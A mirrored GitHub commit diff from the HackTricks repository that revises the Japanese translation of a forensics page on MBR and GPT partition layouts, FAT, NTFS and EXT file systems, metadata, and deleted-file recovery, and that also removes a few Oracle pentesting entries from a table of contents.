mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['forensics/basic-forensic-methodology/partitions-file-system
This commit is contained in:
Translator
parent
8a349271b7
commit
b463447291
41 changed files with 2550 additions and 5311 deletions
|
|
@ -485,10 +485,6 @@
|
|||
* [1433 - Pentesting MSSQL - Microsoft SQL Server](network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md)
|
||||
* [Types of MSSQL Users](network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md)
|
||||
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
* [Oracle Pentesting requirements installation](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
|
||||
* [TNS Poison](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md)
|
||||
* [Remote stealth pass brute force](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md)
|
||||
* [Oracle RCE & more](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more.md)
|
||||
* [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md)
|
||||
* [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md)
|
||||
* [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md)
|
||||
|
|
|
|||
|
|
@ -1,158 +1,154 @@
|
|||
```markdown
|
||||
# パーティション/ファイルシステム/カービング
|
||||
|
||||
## パーティション/ファイルシステム/カービング
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスウェグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks_live**をフォローする
|
||||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
## パーティション
|
||||
|
||||
ハードドライブまたは**SSDディスクは、データを物理的に分離する目的で異なるパーティションを含むことができます**。\
|
||||
ディスクの**最小**単位は**セクター**（通常は512Bで構成されます）。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。
|
||||
ハードドライブまたは**SSDディスクには、物理的にデータを分離するための異なるパーティションが含まれて**いる可能性があります。\
|
||||
ディスクの**最小**単位は**セクタ**です（通常、512Bで構成されています）。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。
|
||||
|
||||
### MBR (マスターブートレコード)
|
||||
### MBR（Master Boot Record）
|
||||
|
||||
これは、ブートコードの446Bの後のディスクの**最初のセクターに割り当てられています**。このセクターは、PCに対してどのパーティションをどこからマウントするかを指示するために不可欠です。\
|
||||
最大で**4つのパーティション**を許可します（最大で**1つだけ**がアクティブ/ブータブルであることができます）。しかし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクターの**最後のバイト**はブートレコードシグネチャ**0x55AA**です。アクティブとしてマークできるパーティションは1つだけです。\
|
||||
MBRは最大**2.2TB**を許可します。
|
||||
これは、**ブートコードの446Bの後のディスクの最初のセクタに割り当てられて**います。このセクタは、PCにパーティションをどこからマウントすべきかを示すために不可欠です。\
|
||||
最大で**4つのパーティション**を許可します（**最大で1つ**がアクティブ/**ブート可能**）。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクタの最後のバイトは、ブートレコードの署名**0x55AA**です。1つのパーティションだけがアクティブにマークされます。\
|
||||
MBRは**最大2.2TB**を許可します。
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
MBRの**440バイト目から443バイト目**には、Windowsが使用されている場合に**Windowsディスクシグネチャ**を見つけることができます。ハードディスクの論理ドライブ文字は、Windowsディスクシグネチャに依存します。このシグネチャを変更すると、Windowsが起動しなくなる可能性があります（ツール: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。
|
||||
MBRの**バイト440から443**には、（Windowsを使用している場合）**Windowsディスクシグネチャ**が含まれています。ハードディスクの論理ドライブレターは、Windowsディスクシグネチャに依存します。このシグネチャを変更すると、Windowsの起動が阻害される可能性があります（ツール：[**Active Disk Editor**](https://www.disk-editor.org/index.html)**）**。
|
||||
|
||||
.png>)
|
||||
|
||||
**フォーマット**
|
||||
|
||||
| オフセット | 長さ | アイテム |
|
||||
| ----------- | ---- | -------- |
|
||||
| 0 (0x00) | 446(0x1BE) | ブートコード |
|
||||
| 446 (0x1BE) | 16 (0x10) | 第1パーティション |
|
||||
| 462 (0x1CE) | 16 (0x10) | 第2パーティション |
|
||||
| 478 (0x1DE) | 16 (0x10) | 第3パーティション |
|
||||
| 494 (0x1EE) | 16 (0x10) | 第4パーティション |
|
||||
| オフセット | 長さ | アイテム |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | ブートコード |
|
||||
| 446 (0x1BE) | 16 (0x10) | 第1パーティション |
|
||||
| 462 (0x1CE) | 16 (0x10) | 第2パーティション |
|
||||
| 478 (0x1DE) | 16 (0x10) | 第3パーティション |
|
||||
| 494 (0x1EE) | 16 (0x10) | 第4パーティション |
|
||||
| 510 (0x1FE) | 2 (0x2) | シグネチャ 0x55 0xAA |
|
||||
|
||||
**パーティションレコードフォーマット**
|
||||
|
||||
| オフセット | 長さ | アイテム |
|
||||
| --------- | ---- | ------ |
|
||||
| 0 (0x00) | 1 (0x01) | アクティブフラグ (0x80 = ブータブル) |
|
||||
| 1 (0x01) | 1 (0x01) | スタートヘッド |
|
||||
| 2 (0x02) | 1 (0x01) | スタートセクター (ビット0-5); シリンダーの上位ビット (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | スタートシリンダーの最下位8ビット |
|
||||
| 4 (0x04) | 1 (0x01) | パーティションタイプコード (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | エンドヘッド |
|
||||
| 6 (0x06) | 1 (0x01) | エンドセクター (ビット0-5); シリンダーの上位ビット (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | エンドシリンダーの最下位8ビット |
|
||||
| 8 (0x08) | 4 (0x04) | パーティションの前にあるセクター (リトルエンディアン) |
|
||||
| 12 (0x0C) | 4 (0x04) | パーティション内のセクター |
|
||||
| オフセット | 長さ | アイテム |
|
||||
| --------- | -------- | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | アクティブフラグ（0x80 = ブート可能） |
|
||||
| 1 (0x01) | 1 (0x01) | 開始ヘッド |
|
||||
| 2 (0x02) | 1 (0x01) | 開始セクタ（ビット0-5）；シリンダーの上位ビット（6-7） |
|
||||
| 3 (0x03) | 1 (0x01) | 開始シリンダーの下位8ビット |
|
||||
| 4 (0x04) | 1 (0x01) | パーティションタイプコード（0x83 = Linux） |
|
||||
| 5 (0x05) | 1 (0x01) | 終了ヘッド |
|
||||
| 6 (0x06) | 1 (0x01) | 終了セクタ（ビット0-5）；シリンダーの上位ビット（6-7） |
|
||||
| 7 (0x07) | 1 (0x01) | 終了シリンダーの下位8ビット |
|
||||
| 8 (0x08) | 4 (0x04) | パーティションの前のセクタ数（リトルエンディアン） |
|
||||
| 12 (0x0C) | 4 (0x04) | パーティション内のセクタ数 |
|
||||
|
||||
LinuxでMBRをマウントするには、まずスタートオフセットを取得する必要があります（`fdisk`と`p`コマンドを使用できます）
|
||||
LinuxでMBRをマウントするには、まず開始オフセットを取得する必要があります（`fdisk`と`p`コマンドを使用できます）
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
|
||||
そして、以下のコードを使用します
|
||||
```
|
||||
その後、次のコードを使用します。
|
||||
```bash
|
||||
#Mount MBR in Linux
|
||||
mount -o ro,loop,offset=<Bytes>
|
||||
#63x512 = 32256Bytes
|
||||
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
**LBA (Logical block addressing)**
|
||||
**LBA（Logical block addressing）**
|
||||
|
||||
**LBA（ロジカルブロックアドレッシング）**は、コンピュータストレージデバイスに格納されているデータブロックの**位置を指定する**ために一般的に使用される方式です。特にハードディスクドライブなどのセカンダリストレージシステムです。LBAは特にシンプルな線形アドレッシング方式であり、**ブロックは整数インデックスによって位置付けられます**。最初のブロックがLBA 0、2番目がLBA 1、というように続きます。
|
||||
**Logical block addressing**（**LBA**）は、コンピュータの記憶装置に保存されているデータのブロックの場所を指定するために使用される一般的なスキームです。一般的にはハードディスクドライブなどの二次記憶システムで使用されます。LBAは特にシンプルな線形アドレッシングスキームで、**ブロックは整数インデックスによって特定され**、最初のブロックはLBA 0、2番目はLBA 1、というようになります。
|
||||
|
||||
### GPT (GUID Partition Table)
|
||||
### GPT（GUID Partition Table）
|
||||
|
||||
ドライブ上の各パーティションに**グローバルに一意の識別子**があるため、GUIDパーティションテーブルと呼ばれます。
|
||||
これは、ドライブ上の各パーティションに**グローバルに一意な識別子**があるため、GUID Partition Tableと呼ばれます。
|
||||
|
||||
MBRと同様に**セクター0**から始まります。MBRは32ビットを占有する一方で、**GPT**は**64ビット**を使用します。\
|
||||
GPTはWindowsでは最大**128パーティション**まで、最大**9.4ZB**までを許容します。\
|
||||
また、パーティションには36文字のUnicode名を付けることができます。
|
||||
MBRと同様に、**セクタ0**から始まります。 MBRは32ビットを占有していますが、**GPT**は**64ビット**を使用します。\
|
||||
GPTでは、Windowsでは最大**128個のパーティション**を許可し、最大**9.4ZB**までの容量をサポートしています。\
|
||||
また、パーティションには36文字のUnicode名を持たせることができます。
|
||||
|
||||
MBRディスクでは、パーティショニングとブートデータが1か所に格納されています。このデータが上書きされたり破損したりすると、問題が発生します。対照的に、**GPTはこのデータの複数のコピーをディスク全体に保存するため**、はるかに堅牢で、データが破損した場合に回復することができます。
|
||||
MBRディスクでは、パーティショニングとブートデータが1か所に保存されます。このデータが上書きされたり破損した場合、問題が発生します。これに対して、**GPTはディスク全体にこのデータの複数のコピーを保存**するため、はるかに堅牢で、データが破損した場合でも回復できます。
|
||||
|
||||
GPTはまた、そのデータが無事であることを確認するための**巡回冗長検査（CRC）**値を保存します。データが破損している場合、GPTは問題を認識し、ディスク上の別の場所から**損傷したデータの回復を試みる**ことができます。
|
||||
GPTはまた、データが整合性を持つかどうかを確認するために**巡回冗長検査（CRC）**値を保存します。データが破損している場合、GPTは問題に気付き、ディスク上の別の場所から**破損したデータを回復しようとします**。
|
||||
|
||||
**Protective MBR (LBA0)**
|
||||
**保護MBR（LBA0）**
|
||||
|
||||
限定的な後方互換性のために、GPT仕様ではレガシーMBRのスペースが引き続き予約されていますが、MBRベースのディスクユーティリティがGPTディスクを誤認し、誤って上書きするのを防ぐ**方法で使用されます**。これはプロテクティブMBRと呼ばれます。
|
||||
過去の互換性のために、GPT仕様では従来のMBRの領域が予約されていますが、これはMBRベースのディスクユーティリティがGPTディスクを誤認識して誤って上書きするのを防ぐ**方法で使用**されています。これを保護MBRと呼びます。
|
||||
|
||||
.png>)
|
||||
|
||||
**Hybrid MBR (LBA 0 + GPT)**
|
||||
**ハイブリッドMBR（LBA 0 + GPT）**
|
||||
|
||||
BIOSサービスを介して**GPTベースのブートをサポートする**オペレーティングシステムでは、最初のセクターは**ブートローダー**コードの最初のステージを格納するために使用されることもありますが、**GPT** **パーティション**を認識するように**変更**されます。MBR内のブートローダーは、セクターサイズが512バイトであると仮定してはいけません。
|
||||
BIOSサービスを介して**GPTベースのブートをサポート**するオペレーティングシステムでは、最初のセクタを**ブートローダー**コードの最初のステージを保存するために使用することがありますが、**変更**して**GPTパーティション**を認識できるようにします。 MBR内のブートローダーは、512バイトのセクタサイズを前提としてはいけません。
|
||||
|
||||
**Partition table header (LBA 1)**
|
||||
**パーティションテーブルヘッダー（LBA 1）**
|
||||
|
||||
パーティションテーブルヘッダーは、ディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズも定義します（テーブルのオフセット80および84）。
|
||||
パーティションテーブルヘッダーはディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズを定義します（テーブル内のオフセット80と84）。
|
||||
|
||||
| Offset | Length | Contents |
|
||||
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)on little-endian machines) |
|
||||
| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) |
|
||||
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation |
|
||||
| 20 (0x14) | 4 bytes | Reserved; must be zero |
|
||||
| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) |
|
||||
| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) |
|
||||
| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) |
|
||||
| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) |
|
||||
| 56 (0x38) | 16 bytes | Disk GUID in mixed endian |
|
||||
| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) |
|
||||
| 80 (0x50) | 4 bytes | Number of partition entries in array |
|
||||
| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) |
|
||||
| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian |
|
||||
| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) |
|
||||
| オフセット | 長さ | 内容 |
|
||||
| --------- | ---- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0（0x00） | 8バイト | シグネチャ（リトルエンディアンマシン上の「EFI PART」、45h 46h 49h 20h 50h 41h 52h 54hまたは0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)） |
|
||||
| 8（0x08） | 4バイト | UEFI 2.8用のリビジョン1.0（00h 00h 01h 00h） |
|
||||
| 12（0x0C） | 4バイト | ヘッダーサイズ（リトルエンディアンでのバイト単位、通常は5Ch 00h 00h 00hまたは92バイト） |
|
||||
| 16（0x10） | 4バイト | ヘッダーのCRC32（オフセット+0からヘッダーサイズまで）のリトルエンディアンでの値。このフィールドは計算中にゼロになります。 |
|
||||
| 20（0x14） | 4バイト | 予約済み。ゼロである必要があります |
|
||||
| 24（0x18） | 8バイト | 現在のLBA（このヘッダーコピーの場所） |
|
||||
| 32（0x20） | 8バイト | バックアップLBA（他のヘッダーコピーの場所） |
|
||||
| 40（0x28） | 8バイト | パーティションの最初の使用可能なLBA（プライマリパーティションテーブルの最後のLBA+1） |
|
||||
| 48（0x30） | 8バイト | 最後の使用可能なLBA（セカンダリパーティションテーブルの最初のLBA−1） |
|
||||
| 56（0x38） | 16バイト | ミックスエンディアン形式のディスクGUID |
|
||||
| 72（0x48） | 8バイト | パーティションエントリの配列の開始LBA（プライマリコピーでは常に2） |
|
||||
| 80（0x50） | 4バイト | 配列内のパーティションエントリの数 |
|
||||
| 84（0x54） | 4バイト | 単一のパーティションエントリのサイズ（通常は80hまたは128） |
|
||||
| 88（0x58） | 4バイト | パーティションエントリ配列のCRC32（リトルエンディアン） |
|
||||
| 92（0x5C） | \* | 残りのブロック用にゼロである必要がある予約領域（セクタサイズが512バイトの場合は420バイトですが、より大きなセクタサイズの場合はそれ以上になる可能性があります） |
|
||||
|
||||
**Partition entries (LBA 2–33)**
|
||||
**パーティションエントリ（LBA 2–33）**
|
||||
|
||||
| GUID partition entry format | | |
|
||||
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
|
||||
| Offset | Length | Contents |
|
||||
| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mixed endian) |
|
||||
| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) |
|
||||
| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) |
|
||||
| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) |
|
||||
| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) |
|
||||
| GUIDパーティションエントリ形式 | | |
|
||||
| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------------- |
|
||||
| オフセット | 長さ | 内容 |
|
||||
| 0（0x00） | 16バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)（ミックスエンディアン） |
|
||||
| 16（0x10） | 16バイト | ユニークなパーティションGUID（ミックスエンディアン） |
|
||||
| 32（0x20） | 8バイト | 最初のLBA（[リトルエンディアン](https://en.wikipedia.org/wiki/Little\_endian)） |
|
||||
| 40（0x28） | 8バイト | 最後のLBA（包括的、通常は奇数） |
|
||||
| 48（0x30） | 8バイト | 属性フラグ（例：ビット60は読み取り専用を示す） |
|
||||
| 56（0x38） | 72バイト | パーティション名（36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット） |
|
||||
|
||||
**Partitions Types**
|
||||
**パーティションタイプ**
|
||||
|
||||
.png>)
|
||||
|
||||
その他のパーティションタイプは[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)で確認できます。
|
||||
詳細なパーティションタイプは[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)で確認できます。
|
||||
|
||||
### Inspecting
|
||||
### 検査
|
||||
|
||||
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)でフォレンジックイメージをマウントした後、Windowsツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)を使用して最初のセクターを検査できます。次の画像では、**セクター0**に**MBR**が検出され、解釈されています：
|
||||
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)を使用してフォレンジックイメージをマウントした後、Windowsツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)**を使用して最初のセクタを検査**できます。次の画像では、**セクタ0**に**MBR**が検出され、解釈されています：
|
||||
|
||||
.png>)
|
||||
|
||||
もし**MBRの代わりにGPTテーブル**があれば、**セクター1**に_EFI PART_の署名が表示されるはずです（前の画像では空です）。
|
||||
もし**MBRの代わりにGPTテーブル**があれば、**セクタ1**にシグネチャ_EFI PART_が表示されるはずです（前の画像では空白です）。
|
||||
|
||||
## File-Systems
|
||||
## ファイルシステム
|
||||
|
||||
### Windows file-systems list
|
||||
### Windowsファイルシステムリスト
|
||||
|
||||
* **FAT12/16**: MSDOS, WIN95/98/NT/200
|
||||
* **FAT12/16**: MSDOS、WIN95/98/NT/200
|
||||
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
|
||||
* **ExFAT**: 2008/2012/2016/VISTA/7/8/10
|
||||
* **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
|
||||
|
|
@ -160,27 +156,27 @@ BIOSサービスを介して**GPTベースのブートをサポートする**オ
|
|||
|
||||
### FAT
|
||||
|
||||
**FAT（ファイル割り当てテーブル）**ファイルシステムは、その組織方法であるファイル割り当てテーブルにちなんで名付けられています。このテーブルはボリュームの先頭にあります。ボリュームを保護するために、テーブルの**2つのコピー**が保持されています。さらに、ファイル割り当てテーブルとルートフォルダは、システムの起動に必要なファイルが正しく位置付けられるように、**固定位置**に格納されなければなりません。
|
||||
**FAT（File Allocation Table）**ファイルシステムは、その組織方法であるファイル割り当てテーブルにちなんで名付けられています。このテーブルはボリュームの先頭にあり、ボリュームを保護するためにテーブルの**2つのコピー**が保持されています。さらに、ファイル割り当てテーブルとルートフォルダは**固定された位置**に保存されている必要があります。これにより、システムを起動するために必要なファイルが正しく位置付けられます。
|
||||
|
||||
.png>)
|
||||
|
||||
このファイルシステムが使用する最小のスペース単位は、通常512Bの**クラスター**です（これは複数のセクターで構成されます）。
|
||||
このファイルシステムで使用される最小の空間単位は**クラスタ**であり、通常は512Bです（複数のセクタで構成されています）。
|
||||
|
||||
初期の**FAT12**は、最大**4078** **クラスター**までの12ビット値のクラスターアドレスを持っていました。UNIXでは4084クラスターまで許容されていました。より効率的な**FAT16**は16ビットのクラスターアドレスに増加し、ボリュームあたり最大**65,517クラスター**まで可能にしました。FAT32は32ビットのクラスターアドレスを使用し、ボリュームあたり最大**268,435,456クラスター**まで可能です。
|
||||
以前の**FAT12**は、最大**4078**の**クラスタ**までの12ビット値のクラスタアドレスを持ち、UNIXでは4084のクラスタまで許可していました。より効率的な**FAT16**は、最大**65,517のクラスタ**を許可する16ビットのクラスタアドレスを使用しています。FAT32は、最大**268,435,456のクラスタ**を許可する32ビットのクラスタアドレスを使用しています。
|
||||
|
||||
FATによって許可される**最大ファイルサイズは4GB**（1バイトを除く）です。これは、ファイルシステムがファイルサイズをバイト単位で格納するために32ビットのフィールドを使用し、2^32バイト = 4 GiBだからです。これはFAT12、FAT16、FAT32に当てはまります。
|
||||
FATが許可する**最大ファイルサイズは4GB**（1バイトを引いた値）です。これは、ファイルシステムがファイルサイズをバイト単位で保存するために32ビットフィールドを使用しており、2^32バイト = 4 GiBになるためです。これはFAT12、FAT16、FAT32の場合に該当します。
|
||||
|
||||
**ルートディレクトリ**は、FAT12とFAT16の両方において**特定の位置**を占めます（FAT32では他のフォルダと同じ位置を占めます）。各ファイル/フォルダエントリには以下の情報が含まれています：
|
||||
**ルートディレクトリ**は、FAT12とFAT16の両方で**特定の位置**を占有しています（FAT32では他のフォルダと同様の位置を占有しています）。各ファイル/フォルダエントリには、次の情報が含まれています：
|
||||
|
||||
* ファイル/フォルダの名前（最大8文字）
|
||||
* 属性
|
||||
* 作成日
|
||||
* 変更日
|
||||
* 最終アクセス日
|
||||
* ファイルの最初のクラスターが始まるFATテーブルのアドレス
|
||||
* ファイルの開始クラスタが格納されているFATテーブルのアドレス
|
||||
* サイズ
|
||||
|
||||
FATファイルシステムを使用してファイルを「削除」すると、ファイル名の**最初の文字**が0xE5に変更される以外は、ディレクトリエントリはほぼ**変更されません**。これにより、「削除された」ファイルの名前、タイムスタンプ、ファイル長、そして最も重要なこととして、ディスク上の物理的な位置が保存されます。ただし、ファイルによって占有されていたディスククラスターのリストは、ファイル割り当てテーブルから消去され、その後作成または変更された他のファイルによって使用されるセクターとしてマークされます。FAT32の場合、ファイルの開始クラスター値の上位16ビットを担当するフィールドも追加で消去されます。
|
||||
FATファイルシステムを使用してファイルが「削除」されると、ディレクトリエントリは**ほとんど変更されず**に残りますが、ファイル名の**最初の文字**が変更されて（0xE5に変更）、「削除された」ファイルの名前の大部分、タイムスタンプ、ファイルの長さ、そして重要なのはディスク上の物理的な場所が保存されます。ただし、ファイルが占有するディスククラスタのリストは、その後に作成または変更された他のファイルによって使用可能になるように、ファイル割り当てテーブルから消去されます。 FAT32の場合、ファイルの開始クラスタ値の上位16ビットを担当する消去されたフィールドが追加されます。
|
||||
|
||||
### **NTFS**
|
||||
|
||||
|
|
@ -190,34 +186,27 @@ FATファイルシステムを使用してファイルを「削除」すると
|
|||
|
||||
### EXT
|
||||
|
||||
**Ext2**は、ブートパーティションなどの**ジャーナリングされていない**パーティション（あまり変更されないパーティション）に最も一般的に使用されるファイルシステムです。**Ext3/4**は**ジャーナリング**されており、通常は**残りのパーティション**に使用されます。
|
||||
**Ext2**は**ジャーナリングを行わない**パーティション（**あまり変更されないパーティション**）に最も一般的なファイルシステムです。**Ext3/4**は**ジャーナリング**を行い、通常は**残りのパーティション**に使用されます。
|
||||
|
||||
{% content-ref url="ext.md" %}
|
||||
[ext.md](ext.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Metadata**
|
||||
## **メタデータ**
|
||||
|
||||
一部のファイルにはメタデータが含まれています。この情報はファイルの内容に関するものであり、ファイルタイプによっては、タイトル、MS Officeのバージョン、著者、作成日と最終変更日、カメラのモデル、GPS座標、画像情報などの情報が含まれている場合があります。
|
||||
一部のファイルにはメタデータが含まれています。この情報はファイルの内容についてであり、ファイルの種類によっては、次のような情報が含まれることがあります：
|
||||
|
||||
[**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)などのツールを使用して、ファイルのメタデータを取得できます。
|
||||
* タイトル
|
||||
* 使用されたMS Officeバージョン
|
||||
* 作成日と最終変更日
|
||||
* カメラのモデル
|
||||
* GPS座標
|
||||
* 画像情報
|
||||
|
||||
## **Deleted Files Recovery**
|
||||
ファイルのメタデータを取得するために、[**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)などのツールを使用できます。
|
||||
|
||||
### Logged Deleted Files
|
||||
## **削除されたファイルの回復**
|
||||
|
||||
前に見たように、「削除」された後もファイルが保存されている場所がいくつかあります。これは、通常、ファイルシステムからのファイルの削除は、データを削除済みとしてマークするだけで、データ自体は触れられないためです。そのため、ファイルのレジストリ（MFTなど）を検査し、削除されたファイルを見つけることが可能です。
|
||||
### ログされた削除されたファイル
|
||||
|
||||
また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存しているため、それらを使用してファイルを回復するか、できるだけ多くの情報を回復することが可能です。
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **File Carving**
|
||||
|
||||
**ファイルカービング**は、データの塊の中からファイルを**見つけ出す**ための技術です。このようなツールが機能する3つの主な方法は、ファイルタイプのヘッダーとフッターに基づくもの、ファイルタイプの**構造**に基づくもの、そして**内容**自体に基づくものです。
|
||||
|
||||
この技術は、**断片化されたファイルの回復には機能しない**ことに注意してください。ファイルが**連続したセクターに保存されていない**場合、この技術では見つけることができないか、少なくともその一部を見つけることができません。
|
||||
|
||||
検索したいファイルタイプを指
|
||||
以前に見たように、ファイルが「削除」された後もファイルが保存されている場所がいくつかあります。通常、ファイルシステムからファイルを削除すると、ファイルは削除されたとマークされますが、データは変更されません。その後、ファイルの登録（MFTなど）を検査し、削除されたファイルを
|
||||
|
|
|
|||
|
|
@ -1,221 +1,219 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>でAWSハッキングをゼロからヒーローまで学びましょう！</strong></summary>
|
||||
|
||||
他のHackTricksをサポートする方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksに広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
